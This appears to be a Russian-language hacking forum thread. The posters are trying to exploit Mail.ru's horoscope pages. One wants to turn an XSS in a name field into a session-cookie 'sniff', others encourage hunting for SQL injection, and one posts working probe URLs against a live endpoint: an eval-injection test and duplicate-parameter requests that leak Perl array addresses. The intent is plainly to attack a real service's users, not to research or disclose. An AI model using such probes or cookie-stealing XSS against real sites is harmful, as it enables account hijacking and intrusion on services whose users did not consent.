XSS Mail.ru Не могу заюзать помогите.
 

http://horo.mail.ru/personal.html?type=love30#sid=10

Поле Ваше Имя сцука не могу получить исходный текст чтобы заюзать.

Хочу на сниф поставить уже 3 день не пашет((

ищи скули на майле , найдёшь - поставлю +5 :D

Находил один но раскрутить не смог) Он еще досих пор там))

Там сцука на флеше, ну всеравно должна быть ссылка и как перехватить то епт.

Я в этом не шарю,но на странице http://horo.mail.ru/dreamsearch.html обнаружена
eval input injection
http://horo.mail.ru/dreamsearch.html?id=5&words=print+%27uLjPD%27.%27K hPpS%27%3B

по мотивам Razor'a
http://horo.mail.ru/dreamsearch.html?id=5&words=1&words=2
непонятный эффект 0_о

http://horo.mail.ru/dreamsearch.html?words=a&words=b
ARRAY0x1e4cac10
ascii(0x1e4cac10) -> L¬

http://horo.mail.ru/dreamsearch.html?words=c&words=d
ARRAY0x1f0c359c
ascii(0x1f0c359c) -> 5œ

http://horo.mail.ru/dreamsearch.html?words=e&words=f
ARRAY0x1e8e3038
ascii(0x1e8e3038) -> Ž08

http://horo.mail.ru/dreamsearch.html?words=sex&words=xes
ARRAY0x1dea2608
ascii(0x1dea2608) -> ê&

ебта :confused: :eek:

Все спасибо я нашел новую ксс))

Ухты)